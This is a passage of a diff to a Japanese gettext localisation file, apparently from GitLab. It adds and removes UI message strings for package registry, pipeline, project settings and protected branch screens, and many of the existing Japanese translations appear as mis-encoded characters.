msgid "PackageRegistry|An error occurred while saving the settings"
msgstr ""
@@ -21381,6 +21900,9 @@ msgstr "Conan コマンドをコピー"
msgid "PackageRegistry|Copy Conan Setup Command"
msgstr "Conan セットアップコマンドをコピー"
+msgid "PackageRegistry|Copy Gradle Groovy DSL install command"
+msgstr ""
+
msgid "PackageRegistry|Copy Maven XML"
msgstr "Maven XMLをコピー"
@@ -21399,6 +21921,9 @@ msgstr "NuGet セットアップコマンドをコピー"
msgid "PackageRegistry|Copy Pip command"
msgstr "pip コマンドをコピー"
+msgid "PackageRegistry|Copy add Gradle Groovy DSL repository command"
+msgstr ""
+
msgid "PackageRegistry|Copy and paste this inside your %{codeStart}pom.xml%{codeEnd} %{codeStart}dependencies%{codeEnd} block."
msgstr "ã“れをコピーã—ã¦ã€ %{codeStart}pom.xml%{codeEnd} ã® %{codeStart} dependencies %{codeEnd} ブロックã«è²¼ã‚Šä»˜ã‘ã¾ã™ã€‚"
@@ -21450,6 +21975,9 @@ msgstr ""
msgid "PackageRegistry|GitLab Packages allows organizations to utilize GitLab as a private repository for a variety of common package formats. %{linkStart}More Information%{linkEnd}"
msgstr ""
+msgid "PackageRegistry|Gradle Groovy DSL install command"
+msgstr ""
+
msgid "PackageRegistry|If you haven't already done so, you will need to add the below to your %{codeStart}.pypirc%{codeEnd} file."
msgstr ""
@@ -21474,9 +22002,6 @@ msgstr "Maven"
msgid "PackageRegistry|Maven Command"
msgstr "Maven コマンド"
-msgid "PackageRegistry|Maven XML"
-msgstr "Maven XML"
-
msgid "PackageRegistry|NuGet"
msgstr "NuGet"
@@ -21513,15 +22038,42 @@ msgstr ""
msgid "PackageRegistry|Recipe: %{recipe}"
msgstr ""
+msgid "PackageRegistry|Registry setup"
+msgstr ""
+
msgid "PackageRegistry|Remove package"
msgstr "パッケージを削除"
+msgid "PackageRegistry|RubyGems"
+msgstr ""
+
msgid "PackageRegistry|Settings for Maven packages"
msgstr ""
msgid "PackageRegistry|Settings saved successfully"
msgstr ""
+msgid "PackageRegistry|Show Composer commands"
+msgstr ""
+
+msgid "PackageRegistry|Show Conan commands"
+msgstr ""
+
+msgid "PackageRegistry|Show Gradle Groovy DSL commands"
+msgstr ""
+
+msgid "PackageRegistry|Show Maven commands"
+msgstr ""
+
+msgid "PackageRegistry|Show NPM commands"
+msgstr ""
+
+msgid "PackageRegistry|Show Nuget commands"
+msgstr ""
+
+msgid "PackageRegistry|Show PyPi commands"
+msgstr ""
+
msgid "PackageRegistry|Sorry, your filter produced no results"
msgstr ""
@@ -21573,27 +22125,6 @@ msgstr ""
msgid "PackageRegistry|yarn command"
msgstr ""
-msgid "PackageType|Composer"
-msgstr ""
-
-msgid "PackageType|Conan"
-msgstr "Conan"
-
-msgid "PackageType|Generic"
-msgstr ""
-
-msgid "PackageType|Maven"
-msgstr "Maven"
-
-msgid "PackageType|NuGet"
-msgstr "NuGet"
-
-msgid "PackageType|PyPI"
-msgstr ""
-
-msgid "PackageType|npm"
-msgstr ""
-
msgid "Packages"
msgstr "パッケージ"
@@ -21831,11 +22362,20 @@ msgstr "Rugged呼ã³å‡ºã—"
msgid "PerformanceBar|SQL queries"
msgstr "SQLクエリ"
+msgid "PerformanceBar|Sort by duration"
+msgstr ""
+
+msgid "PerformanceBar|Sort chronologically"
+msgstr ""
+
msgid "PerformanceBar|Stats"
msgstr ""
-msgid "PerformanceBar|trace"
-msgstr "トレース"
+msgid "PerformanceBar|Total duration"
+msgstr ""
+
+msgid "PerformanceBar|Trace"
+msgstr ""
msgid "Permissions"
msgstr "権é™"
@@ -21915,8 +22455,8 @@ msgstr ""
msgid "PipelineCharts|An unknown error occurred while processing CI/CD analytics."
msgstr ""
-msgid "PipelineCharts|CI / CD Analytics"
-msgstr "CI/CD 分æž"
+msgid "PipelineCharts|CI/CD Analytics"
+msgstr ""
msgid "PipelineCharts|Failed:"
msgstr "失敗:"
@@ -22164,9 +22704,6 @@ msgstr "コミット"
msgid "Pipeline|Could not retrieve the pipeline status. For troubleshooting steps, read the %{linkStart}documentation%{linkEnd}."
msgstr ""
-msgid "Pipeline|Coverage"
-msgstr "ã‚«ãƒãƒ¬ãƒƒã‚¸"
-
msgid "Pipeline|Created"
msgstr ""
@@ -22185,6 +22722,9 @@ msgstr "既存ã®ãƒ–ランãƒåã¾ãŸã¯tag"
msgid "Pipeline|Failed"
msgstr ""
+msgid "Pipeline|In progress"
+msgstr ""
+
msgid "Pipeline|Key"
msgstr "キー"
@@ -22260,6 +22800,18 @@ msgstr "#%{pipelineId} パイプラインをåœæ­¢ã—ã¾ã™ã‹ï¼Ÿ"
msgid "Pipeline|Tag name"
msgstr ""
+msgid "Pipeline|Test coverage"
+msgstr ""
+
+msgid "Pipeline|This change will decrease the overall test coverage if merged."
+msgstr ""
+
+msgid "Pipeline|This change will increase the overall test coverage if merged."
+msgstr ""
+
+msgid "Pipeline|This change will not change the overall test coverage if merged."
+msgstr ""
+
msgid "Pipeline|Trigger author"
msgstr ""
@@ -22329,9 +22881,6 @@ msgstr "続ã‘ã‚‹å‰ã«ã€åˆ©ç”¨è¦ç´„ã«åŒæ„ã™ã‚‹å¿…è¦ãŒã‚ã‚Šã¾ã™ã€‚"
msgid "Please add a comment in the text area above"
msgstr "上ã®ãƒ†ã‚­ã‚¹ãƒˆã‚¨ãƒªã‚¢ã«ã‚³ãƒ¡ãƒ³ãƒˆã‚’加ãˆã¦ãã ã•ã„。"
-msgid "Please add a list to your board first"
-msgstr "ã¾ãšã‚ãªãŸã®ãƒœãƒ¼ãƒ‰ã«ãƒªã‚¹ãƒˆã‚’追加ã—ã¦ãã ã•ã„"
-
msgid "Please check the configuration file for this chart"
msgstr "ãƒãƒ£ãƒ¼ãƒˆã®è¨­å®šãƒ•ã‚¡ã‚¤ãƒ«ã‚’確èªã—ã¦ãã ã•ã„"
@@ -22482,12 +23031,12 @@ msgstr ""
msgid "Please solve the captcha"
msgstr ""
-msgid "Please solve the reCAPTCHA"
-msgstr "reCAPTCHA を解決ã—ã¦ãã ã•ã„"
-
msgid "Please try again"
msgstr "ã‚‚ã†ä¸€åº¦ã‚„ã‚Šç›´ã—ã¦ãã ã•ã„"
+msgid "Please try and refresh the page. If the problem persists please contact support."
+msgstr ""
+
msgid "Please type %{phrase_code} to proceed or close this modal to cancel."
msgstr "続行ã™ã‚‹ã«ã¯ %{phrase_code} を入力ã—ã¦ãã ã•ã„。キャンセルã™ã‚‹å ´åˆã¯ã“ã®ãƒ¢ãƒ¼ãƒ€ãƒ«ã‚’é–‰ã˜ã¦ãã ã•ã„。"
@@ -22521,6 +23070,18 @@ msgstr "使用中ã®ãƒãƒƒãƒ‰"
msgid "Point to any links you like: documentation, built binaries, or other related materials. These can be internal or external links from your GitLab instance. Duplicate URLs are not allowed."
msgstr "ドキュメントã€ãƒ“ルドã—ãŸãƒã‚¤ãƒŠãƒªã€ãã®ä»–ã®é–¢é€£è³‡æ–™ç­‰ã€å¥½ããªãƒªãƒ³ã‚¯ã‚’指定ã—ã¦ãã ã•ã„。ã“れらã¯ã€GitLab インスタンスã®å†…部リンクã¾ãŸã¯å¤–部ã¸ã®ãƒªãƒ³ã‚¯ã§ã™ã€‚ãŸã ã— URL ã®é‡è¤‡ã¯è¨±å¯ã•ã‚Œã¦ã„ã¾ã›ã‚“。"
+msgid "Policy project doesn't exist"
+msgstr ""
+
+msgid "Polling interval multiplier"
+msgstr ""
+
+msgid "Popularity"
+msgstr ""
+
+msgid "Postman collection"
+msgstr ""
+
msgid "Pre-defined push rules."
msgstr ""
@@ -22659,6 +23220,12 @@ msgstr ""
msgid "Prevent users from changing their profile name"
msgstr "ユーザーãŒãƒ—ロファイルåを変更ã§ããªã„よã†ã«è¨­å®šã™ã‚‹"
+msgid "Prevent users from modifying MR approval rules in merge requests."
+msgstr ""
+
+msgid "Prevent users from modifying MR approval rules in projects and merge requests."
+msgstr ""
+
msgid "Prevent users from modifying MR approval rules."
msgstr ""
@@ -22683,6 +23250,9 @@ msgstr "å‰å›žã®ã‚¢ãƒ¼ãƒ†ã‚£ãƒ•ã‚¡ã‚¯ãƒˆ"
msgid "Previous commit"
msgstr ""
+msgid "Previous design"
+msgstr ""
+
msgid "Previous file in diff"
msgstr "差分ã®ã‚ã‚‹å‰ã®ãƒ•ã‚¡ã‚¤ãƒ«"
@@ -22707,6 +23277,9 @@ msgstr "優先ラベル"
msgid "Prioritized label"
msgstr "優先ラベル"
+msgid "Priority"
+msgstr ""
+
msgid "Private"
msgstr "プライベート"
@@ -22965,8 +23538,8 @@ msgstr "éžå…¬é–‹ã§è²¢çŒ®ã™ã‚‹"
msgid "Profiles|Main settings"
msgstr "メインã®è¨­å®š"
-msgid "Profiles|No file chosen"
-msgstr "ファイルãŒé¸æŠžã•ã‚Œã¦ã„ã¾ã›ã‚“"
+msgid "Profiles|No file chosen."
+msgstr ""
msgid "Profiles|Notification email"
msgstr "通知メール"
@@ -23355,6 +23928,9 @@ msgstr "プロジェクトã®ä½œæˆåˆ¶é™ã«é”ã—ã¾ã—ãŸ"
msgid "ProjectOverview|You must sign in to star a project"
msgstr "プロジェクトã«ã‚¹ã‚¿ãƒ¼ã‚’付ã‘ã‚‹ã«ã¯ã€ã‚µã‚¤ãƒ³ã‚¤ãƒ³ã—ã¦ã„ã‚‹å¿…è¦ãŒã‚ã‚Šã¾ã™"
+msgid "ProjectPage|Copy project ID"
+msgstr ""
+
msgid "ProjectPage|Project ID: %{project_id}"
msgstr "プロジェクトID: %{project_id}"
@@ -23370,50 +23946,83 @@ msgstr "%{service_title}: オフ"
msgid "ProjectService|%{service_title}: status on"
msgstr "%{service_title}: オン"
-msgid "ProjectService|Event will be triggered by a push to the repository"
+msgid "ProjectService|Drone URL"
+msgstr ""
+
+msgid "ProjectService|Enter new API key"
+msgstr ""
+
+msgid "ProjectService|Enter new password"
+msgstr ""
+
+msgid "ProjectService|Event triggered when a commit is created or updated."
msgstr ""
-msgid "ProjectService|Event will be triggered when a commit is created/updated"
+msgid "ProjectService|Event triggered when a confidential issue is created, updated, or closed."
msgstr ""
-msgid "ProjectService|Event will be triggered when a confidential issue is created/updated/closed"
-msgstr "イベントã¯ã€éžå…¬é–‹ã‚¤ã‚·ãƒ¥ãƒ¼ãŒä½œæˆã€æ›´æ–°ã¾ãŸã¯ã‚¯ãƒ­ãƒ¼ã‚ºã•ã‚ŒãŸã¨ãã«ãƒˆãƒªã‚¬ãƒ¼ã•ã‚Œã¾ã™"
+msgid "ProjectService|Event triggered when a deployment starts or finishes."
+msgstr ""
-msgid "ProjectService|Event will be triggered when a deployment starts or finishes"
+msgid "ProjectService|Event triggered when a merge request is created, updated, or merged."
msgstr ""
-msgid "ProjectService|Event will be triggered when a merge request is created/updated/merged"
+msgid "ProjectService|Event triggered when a new tag is pushed to the repository."
msgstr ""
-msgid "ProjectService|Event will be triggered when a new tag is pushed to the repository"
+msgid "ProjectService|Event triggered when a new, unique alert is recorded."
msgstr ""
-msgid "ProjectService|Event will be triggered when a new, unique alert is recorded"
+msgid "ProjectService|Event triggered when a pipeline status changes."
msgstr ""
-msgid "ProjectService|Event will be triggered when a pipeline status changes"
+msgid "ProjectService|Event triggered when a wiki page is created or updated."
msgstr ""
-msgid "ProjectService|Event will be triggered when a wiki page is created/updated"
+msgid "ProjectService|Event triggered when an issue is created, updated, or closed."
msgstr ""
-msgid "ProjectService|Event will be triggered when an issue is created/updated/closed"
+msgid "ProjectService|Event triggered when someone adds a comment on a confidential issue."
msgstr ""
-msgid "ProjectService|Event will be triggered when someone adds a comment"
+msgid "ProjectService|Event triggered when someone adds a comment."
msgstr ""
-msgid "ProjectService|Event will be triggered when someone adds a comment on a confidential issue"
-msgstr "イベントã¯ã€éžå…¬é–‹ã‚¤ã‚·ãƒ¥ãƒ¼ã¸ã®ã‚³ãƒ¡ãƒ³ãƒˆã®è¿½åŠ ã«ã‚ˆã£ã¦ãƒˆãƒªã‚¬ãƒ¼ã•ã‚Œã¾ã™"
+msgid "ProjectService|Event triggered when someone pushes to the repository."
+msgstr ""
+
+msgid "ProjectService|Issue URL"
+msgstr ""
+
+msgid "ProjectService|Jenkins URL"
+msgstr ""
+
+msgid "ProjectService|Leave blank to use your current API key"
+msgstr ""
+
+msgid "ProjectService|Leave blank to use your current password"
+msgstr ""
+
+msgid "ProjectService|Mock service URL"
+msgstr ""
+
+msgid "ProjectService|New issue URL"
+msgstr ""
msgid "ProjectService|Perform common operations on GitLab project: %{project_name}"
msgstr "GitLabプロジェクト㮠%{project_name} ã§ä¸€èˆ¬çš„ãªæ“作を実行"
-msgid "ProjectService|To set up this service:"
-msgstr "ã“ã®ã‚µãƒ¼ãƒ“スを設定ã™ã‚‹ã«ã¯:"
+msgid "ProjectService|TeamCity URL"
+msgstr ""
-msgid "ProjectSettings|Additional merge request capabilities that influence how and when merges will be performed"
-msgstr "マージをã„ã¤ã©ã®ã‚ˆã†ã«è¡Œã†ã‹ã«å½±éŸ¿ã‚’与ãˆã‚‹ã€è¿½åŠ ã®ãƒžãƒ¼ã‚¸ãƒªã‚¯ã‚¨ã‚¹ãƒˆæ©Ÿèƒ½"
+msgid "ProjectService|To configure this integration, you should:"
+msgstr ""
+
+msgid "ProjectSettings|%{link_start}What are description templates?%{link_end}"
+msgstr ""
+
+msgid "ProjectSettings|Additional settings that influence how and when merges are done."
+msgstr ""
msgid "ProjectSettings|All discussions must be resolved"
msgstr "ã™ã¹ã¦ã®ãƒ‡ã‚£ã‚¹ã‚«ãƒƒã‚·ãƒ§ãƒ³ãŒè§£æ±ºã—ãªã‘ã‚Œã°ãªã‚Šã¾ã›ã‚“。"
@@ -23466,26 +24075,29 @@ msgstr "コンテナレジストリ"
msgid "ProjectSettings|Customize this project's badges."
msgstr ""
+msgid "ProjectSettings|Determine what happens to the commit history when you merge a merge request."
+msgstr ""
+
msgid "ProjectSettings|Disable email notifications"
msgstr "メール通知を無効ã«ã™ã‚‹"
msgid "ProjectSettings|Do not allow"
msgstr ""
-msgid "ProjectSettings|Enable 'Delete source branch' option by default"
-msgstr "ソースブランãƒã®å‰Šé™¤ã®ã‚ªãƒ—ションをデフォルトã§æœ‰åŠ¹ã«ã™ã‚‹"
+msgid "ProjectSettings|Enable \"Delete source branch\" option by default"
+msgstr ""
-msgid "ProjectSettings|Enable merge trains."
+msgid "ProjectSettings|Enable merge trains"
msgstr ""
-msgid "ProjectSettings|Enable merged results pipelines."
+msgid "ProjectSettings|Enable merged results pipelines"
msgstr ""
msgid "ProjectSettings|Encourage"
msgstr ""
-msgid "ProjectSettings|Every merge creates a merge commit"
-msgstr "マージã”ã¨ã«ãƒžãƒ¼ã‚¸ã‚³ãƒŸãƒƒãƒˆãŒä½œæˆã•ã‚Œã¾ã™"
+msgid "ProjectSettings|Every merge creates a merge commit."
+msgstr ""
msgid "ProjectSettings|Every project can have its own space to store its Docker images"
msgstr "ãã‚Œãžã‚Œã®ãƒ—ロジェクトã¯ã€Dockerイメージをä¿å­˜ã™ã‚‹ãŸã‚ã®å„自ã§ã‚¹ãƒšãƒ¼ã‚¹ã‚’æŒã¤ã“ã¨ãŒã§ãã¾ã™"
@@ -23496,8 +24108,8 @@ msgstr ""
msgid "ProjectSettings|Everyone"
msgstr "全員"
-msgid "ProjectSettings|Existing merge requests and protected branches are not affected"
-msgstr "既存ã®ãƒžãƒ¼ã‚¸ãƒªã‚¯ã‚¨ã‚¹ãƒˆã¨ä¿è­·ãƒ–ランãƒã¯å½±éŸ¿ã‚’å—ã‘ã¾ã›ã‚“"
+msgid "ProjectSettings|Existing merge requests and protected branches are not affected."
+msgstr ""
msgid "ProjectSettings|Failed to protect the tag"
msgstr "tagã®ä¿è­·ã«å¤±æ•—ã—ã¾ã—ãŸ"
@@ -23508,8 +24120,8 @@ msgstr "Tag ã®æ›´æ–°ã«å¤±æ•—ã—ã¾ã—ãŸï¼"
msgid "ProjectSettings|Fast-forward merge"
msgstr "æ—©é€ã‚Šãƒžãƒ¼ã‚¸"
-msgid "ProjectSettings|Fast-forward merges only"
-msgstr "æ—©é€ã‚Šãƒžãƒ¼ã‚¸ã®ã¿"
+msgid "ProjectSettings|Fast-forward merges only."
+msgstr ""
msgid "ProjectSettings|Forks"
msgstr "フォーク"
@@ -23520,12 +24132,12 @@ msgstr ""
msgid "ProjectSettings|Global"
msgstr ""
-msgid "ProjectSettings|If pipelines for merge requests are enabled in the CI/CD configuration file, pipelines validate the combined results of the source and target branches."
-msgstr ""
-
msgid "ProjectSettings|Internal"
msgstr "内部"
+msgid "ProjectSettings|Introduces the risk of merging changes that do not pass the pipeline."
+msgstr ""
+
msgid "ProjectSettings|Issues"
msgstr "イシュー"
@@ -23556,11 +24168,14 @@ msgstr "マージオプション"
msgid "ProjectSettings|Merge requests"
msgstr "マージリクエスト"
+msgid "ProjectSettings|Merge requests approved for merge are queued, and pipelines validate the combined results of the source and target branches before merge. %{link_start}What are merge trains?%{link_end}"
+msgstr ""
+
msgid "ProjectSettings|Merge suggestions"
msgstr "マージæ案"
-msgid "ProjectSettings|No merge commits are created"
-msgstr "マージコミットã¯ä½œæˆã•ã‚Œã¦ã„ã¾ã›ã‚“"
+msgid "ProjectSettings|No merge commits are created."
+msgstr ""
msgid "ProjectSettings|Note: the container registry is always visible when a project is public"
msgstr "注:プロジェクトãŒå…¬é–‹ã®å ´åˆã€ã‚³ãƒ³ãƒ†ãƒŠãƒ¬ã‚¸ã‚¹ãƒˆãƒªã¯å¸¸ã«è¡¨ç¤ºã•ã‚Œã¾ã™"
@@ -23583,15 +24198,9 @@ msgstr "ページ"
msgid "ProjectSettings|Pages for project documentation."
msgstr ""
-msgid "ProjectSettings|Pipelines"
-msgstr "パイプライン"
-
msgid "ProjectSettings|Pipelines must succeed"
msgstr "パイプラインã¯æˆåŠŸã—ãªã‘ã‚Œã°ãªã‚‰ãªã„"
-msgid "ProjectSettings|Pipelines need to be configured to enable this feature."
-msgstr "ã“ã®æ©Ÿèƒ½ã‚’有効ã«ã™ã‚‹ã«ã¯ã€ãƒ‘イプラインを設定ã™ã‚‹å¿…è¦ãŒã‚ã‚Šã¾ã™ã€‚"
-
msgid "ProjectSettings|Private"
msgstr "éžå…¬é–‹"
@@ -23622,7 +24231,7 @@ msgstr ""
msgid "ProjectSettings|Security & Compliance for this project"
msgstr ""
-msgid "ProjectSettings|Set the default behavior and availability of this option in merge requests. Changes made are also applied to existing merge requests."
+msgid "ProjectSettings|Set the default behavior of this option in merge requests. Changes to this are also applied to existing merge requests."
msgstr ""
msgid "ProjectSettings|Share code with others outside the project."
@@ -23631,8 +24240,8 @@ msgstr ""
msgid "ProjectSettings|Show default award emojis"
msgstr "デフォルトã®çµµæ–‡å­—リアクションを表示"
-msgid "ProjectSettings|Show link to create/view merge request when pushing from the command line"
-msgstr "コマンドラインã‹ã‚‰ãƒ—ッシュã™ã‚‹ã¨ãã€ãƒžãƒ¼ã‚¸ãƒªã‚¯ã‚¨ã‚¹ãƒˆã‚’作æˆã¾ãŸã¯è¡¨ç¤ºã™ã‚‹ãŸã‚ã®ãƒªãƒ³ã‚¯ã‚’表示"
+msgid "ProjectSettings|Show link to create or view a merge request when pushing from the command line"
+msgstr ""
msgid "ProjectSettings|Skipped pipelines are considered successful"
msgstr ""
@@ -23652,16 +24261,13 @@ msgstr ""
msgid "ProjectSettings|Submit changes to be merged upstream."
msgstr ""
-msgid "ProjectSettings|The commit message used to apply merge request suggestions"
-msgstr "マージリクエストæ案ã«é©ç”¨ã™ã‚‹ãŸã‚ã«ä½¿ç”¨ã™ã‚‹ã‚³ãƒŸãƒƒãƒˆãƒ¡ãƒƒã‚»ãƒ¼ã‚¸"
-
-msgid "ProjectSettings|The variables GitLab supports:"
-msgstr "GitLab ã¯æ¬¡ã®å¤‰æ•°ã‚’サãƒãƒ¼ãƒˆã—ã¦ã„ã¾ã™:"
+msgid "ProjectSettings|Supported variables:"
+msgstr ""
-msgid "ProjectSettings|These checks must pass before merge requests can be merged"
-msgstr "マージリクエストをマージã™ã‚‹å‰ã«ã€ã“れらã®ãƒã‚§ãƒƒã‚¯ã«åˆæ ¼ã—ãªã‘ã‚Œã°ãªã‚Šã¾ã›ã‚“。"
+msgid "ProjectSettings|The commit message used when applying merge request suggestions. %{link_start}Learn more about suggestions.%{link_end}"
+msgstr ""
-msgid "ProjectSettings|This introduces the risk of merging changes that will not pass the pipeline."
+msgid "ProjectSettings|These checks must pass before merge requests can be merged."
msgstr ""
msgid "ProjectSettings|This setting is applied on the server level and can be overridden by an admin."
@@ -23673,12 +24279,15 @@ msgstr "ã“ã®è¨­å®šã¯ã‚µãƒ¼ãƒãƒ¼ãƒ¬ãƒ™ãƒ«ã§é©ç”¨ã•ã‚Œã¦ã„ã¾ã™ãŒã€ã“
msgid "ProjectSettings|This setting will be applied to all projects unless overridden by an admin."
msgstr "ã“ã®è¨­å®šã¯ã€ç®¡ç†è€…ãŒä¸Šæ›¸ãã—ãªã„å ´åˆã€ã™ã¹ã¦ã®ãƒ—ロジェクトã«é©ç”¨ã•ã‚Œã¾ã™ã€‚"
-msgid "ProjectSettings|This will dictate the commit history when you merge a merge request"
-msgstr "マージリクエストをマージã™ã‚‹ã¨ãã«ã‚³ãƒŸãƒƒãƒˆå±¥æ­´ã‚’記録ã—ã¾ã™"
+msgid "ProjectSettings|To enable this feature, configure pipelines. %{link_start}How to configure pipelines for merge requests?%{link_end}"
+msgstr ""
msgid "ProjectSettings|Transfer project"
msgstr ""
+msgid "ProjectSettings|Used for every new merge request."
+msgstr ""
+
msgid "ProjectSettings|Users can copy the repository to a new project."
msgstr ""
@@ -23706,11 +24315,11 @@ msgstr ""
msgid "ProjectSettings|What are badges?"
msgstr ""
-msgid "ProjectSettings|When approved for merge, merge requests are queued and pipelines validate the combined results of the source and target branches before merge."
+msgid "ProjectSettings|When pipelines for merge requests are enabled in the CI/CD configuration file, pipelines validate the combined results of the source and target branches. %{link_start}How to configure pipelines for merge requests?%{link_end}"
msgstr ""
-msgid "ProjectSettings|When conflicts arise the user is given the option to rebase"
-msgstr "競åˆãŒç™ºç”Ÿã—ãŸã¨ãã€ãƒ¦ãƒ¼ã‚¶ãƒ¼ã«ã¯ãƒªãƒ™ãƒ¼ã‚¹ã™ã‚‹ã‚ªãƒ—ションãŒä¸Žãˆã‚‰ã‚Œã¾ã™"
+msgid "ProjectSettings|When there is a merge conflict, the user is given the option to rebase."
+msgstr ""
msgid "ProjectSettings|Wiki"
msgstr "Wiki"
@@ -24243,6 +24852,15 @@ msgstr ""
msgid "ProtectedBranch|%{wildcards_link_start}Wildcards%{wildcards_link_end} such as %{code_tag_start}*-stable%{code_tag_end} or %{code_tag_start}production/*%{code_tag_end} are supported."
msgstr ""
+msgid "ProtectedBranch|Allow force push"
+msgstr ""
+
+msgid "ProtectedBranch|Allow force push for all users with push access."
+msgstr ""
+
+msgid "ProtectedBranch|Allow force push:"
+msgstr ""
+
msgid "ProtectedBranch|Allowed to merge"
msgstr "マージを許å¯"
@@ -24264,7 +24882,7 @@ msgstr ""
msgid "ProtectedBranch|Code owner approval"
msgstr "コードオーナーã®æ‰¿èª"
-msgid "ProtectedBranch|Does not apply to users allowed to push."
+msgid "ProtectedBranch|Does not apply to users allowed to push. Optional sections are not enforced."
msgstr ""
msgid "ProtectedBranch|Protect"
@@ -24285,6 +24903,9 @@ msgstr "コード所有者ã®æ‰¿èªãŒå¿…è¦ï¼š"
msgid "ProtectedBranch|There are currently no protected branches, protect a branch with the form above."
msgstr "ç¾åœ¨ä¿è­·ãƒ–ランãƒãŒã‚ã‚Šã¾ã›ã‚“。上ã®ãƒ•ã‚©ãƒ¼ãƒ ã§ãƒ–ランãƒã‚’ä¿è­·ã—ã¦ãã ã•ã„。"
+msgid "ProtectedBranch|Toggle allow force push"
+msgstr ""
+
msgid "ProtectedBranch|Toggle code owner approval"
msgstr "コード所有者ã®æ‰¿èªã®åˆ‡ã‚Šæ›¿ãˆ"
@@ -24459,7 +25080,7 @@ msgstr ""
msgid "PushRules|Restrict push operations for this project."
msgstr ""
-msgid "PushRules|Save Push Rules"
+msgid "PushRules|Save push rules"
msgstr ""
msgid "PushRules|Select push rules"
@@ -24648,8 +25269,8 @@ msgstr "プロジェクトã®å…¬é–‹ç¯„囲を狭ã‚ã‚‹"
msgid "Reduce this project’s visibility?"
msgstr "ã“ã®ãƒ—ロジェクトã®å…¬é–‹ç¯„囲を狭ã‚ã¾ã™ã‹?"
-msgid "Reference:"
-msgstr "å‚ç…§:"
+msgid "Reference"
+msgstr ""
msgid "References"
msgstr ""
@@ -24809,7 +25430,7 @@ msgstr "リリース"
msgid "Releases are based on Git tags and mark specific points in a project's development history. They can contain information about the type of changes and can also deliver binaries, like compiled versions of your software."
msgstr "リリースã¯Gitã‚¿ã‚°ã«åŸºã¥ã„ã¦ãŠã‚Šã€ãƒ—ロジェクトã®é–‹ç™ºå±¥æ­´ã®ç‰¹å®šã®æ™‚点ã®æƒ…報を記録ã—ã¾ã™ã€‚変更ã®ç¨®é¡žã«é–¢ã™ã‚‹æƒ…報をå«ã‚ã‚‹ã“ã¨ãŒã§ãã€ã‚½ãƒ•ãƒˆã‚¦ã‚§ã‚¢ã®ã‚³ãƒ³ãƒ‘イル済ã¿ãƒãƒ¼ã‚¸ãƒ§ãƒ³ãªã©ã®ãƒã‚¤ãƒŠãƒªã‚’æä¾›ã™ã‚‹ã“ã¨ã‚‚ã§ãã¾ã™ã€‚"
-msgid "Releases are based on Git tags. We recommend tags that use semantic versioning, for example %{codeStart}v1.0%{codeEnd}, %{codeStart}v2.0-pre%{codeEnd}."
+msgid "Releases are based on Git tags. We recommend tags that use semantic versioning, for example %{codeStart}v1.0.0%{codeEnd}, %{codeStart}v2.1.0-pre%{codeEnd}."
msgstr ""
msgid "Releases documentation"
@@ -24821,8 +25442,8 @@ msgstr ""
msgid "Release|Something went wrong while creating a new release"
msgstr ""
-msgid "Release|Something went wrong while getting the release details"
-msgstr "リリースã®è©³ç´°ã‚’å–得中ã«å•é¡ŒãŒç™ºç”Ÿã—ã¾ã—ãŸ"
+msgid "Release|Something went wrong while getting the release details."
+msgstr ""
msgid "Release|Something went wrong while saving the release details"
msgstr "リリースã®è©³ç´°ã‚’ä¿å­˜ä¸­ã«å•é¡ŒãŒç™ºç”Ÿã—ã¾ã—ãŸ"
@@ -24845,6 +25466,9 @@ msgstr "%{displayReference} を削除"
msgid "Remove Zoom meeting"
msgstr "Zoom ミーティングを削除"
+msgid "Remove all approvals in a merge request when new commits are pushed to its source branch."
+msgstr ""
+
msgid "Remove all or specific assignee(s)"
msgstr "ã™ã¹ã¦ã®æ‹…当者ã¾ãŸã¯ç‰¹å®šã®æ‹…当者を削除"
@@ -24893,9 +25517,6 @@ msgstr "フォークã®é–¢ä¿‚を削除"
msgid "Remove from batch"
msgstr ""
-msgid "Remove from board"
-msgstr "ボードã‹ã‚‰å‰Šé™¤"
-
msgid "Remove from epic"
msgstr "エピックã‹ã‚‰å‰Šé™¤"
@@ -25142,6 +25763,9 @@ msgstr "管ç†è€…ã«ä¸æ­£åˆ©ç”¨ã‚’報告"
msgid "Reported %{timeAgo} by %{reportedBy}"
msgstr "%{timeAgo} ã« %{reportedBy} ã«ã‚ˆã‚Šå ±å‘Š"
+msgid "Reported by"
+msgstr ""
+
msgid "Reported by %{reporter}"
msgstr ""
@@ -25183,8 +25807,8 @@ msgstr "%{name} ã®çµæžœã‚’読ã¿è¾¼ã¿ä¸­ã«ã‚¨ãƒ©ãƒ¼ãŒç™ºç”Ÿã—ã¾ã—ãŸ"
msgid "Reports|An error occurred while loading report"
msgstr ""
-msgid "Reports|Class"
-msgstr "クラス"
+msgid "Reports|Base report parsing error:"
+msgstr ""
msgid "Reports|Classname"
msgstr "クラスå"
@@ -25203,6 +25827,12 @@ msgstr[0] ""
msgid "Reports|Failure"
msgstr "失敗"
+msgid "Reports|Filename"
+msgstr ""
+
+msgid "Reports|Head report parsing error:"
+msgstr ""
+
msgid "Reports|Identifier"
msgstr ""
@@ -25329,6 +25959,9 @@ msgstr ""
msgid "Repository check was triggered."
msgstr "リãƒã‚¸ãƒˆãƒªãƒã‚§ãƒƒã‚¯ã‚’自動的ã«é–‹å§‹ã—ã¾ã—ãŸã€‚"
+msgid "Repository checks"
+msgstr ""
+
msgid "Repository cleanup"
msgstr "リãƒã‚¸ãƒˆãƒªã®ã‚¯ãƒªãƒ¼ãƒ³ã‚¢ãƒƒãƒ—"
@@ -25425,6 +26058,9 @@ msgstr "プロファイルã®è¦æ±‚"
msgid "Requests to these domain(s)/address(es) on the local network will be allowed when local requests from hooks and services are not allowed. IP ranges such as 1:0:0:0:0:0:0:0/124 or 127.0.0.0/28 are supported. Domain wildcards are not supported currently. Use comma, semicolon, or newline to separate multiple entries. The allowlist can hold a maximum of 1000 entries. Domains should use IDNA encoding. Ex: example.com, 192.168.1.1, 127.0.0.0/28, xn--itlab-j1a.com."
msgstr ""
+msgid "Require additional authentication for administrative tasks"
+msgstr ""
+
msgid "Require admin approval for new sign-ups"
msgstr ""
@@ -25729,7 +26365,10 @@ msgstr "パーソナルアクセストークン㮠%{personal_access_token_name}
msgid "Revoked project access token %{project_access_token_name}!"
msgstr "プロジェクトã®ã‚¢ã‚¯ã‚»ã‚¹ãƒˆãƒ¼ã‚¯ãƒ³ %{project_access_token_name} を無効ã«ã—ã¾ã—ãŸã€‚"
-msgid "RightSidebar|Issue email: %{copyText}"
+msgid "RightSidebar|Copy email address"
+msgstr ""
+
+msgid "RightSidebar|Issue email"
msgstr ""
msgid "RightSidebar|adding a"
@@ -25873,6 +26512,9 @@ msgstr ""
msgid "Runners|Revision"
msgstr ""
+msgid "Runners|Runner #%{runner_id}"
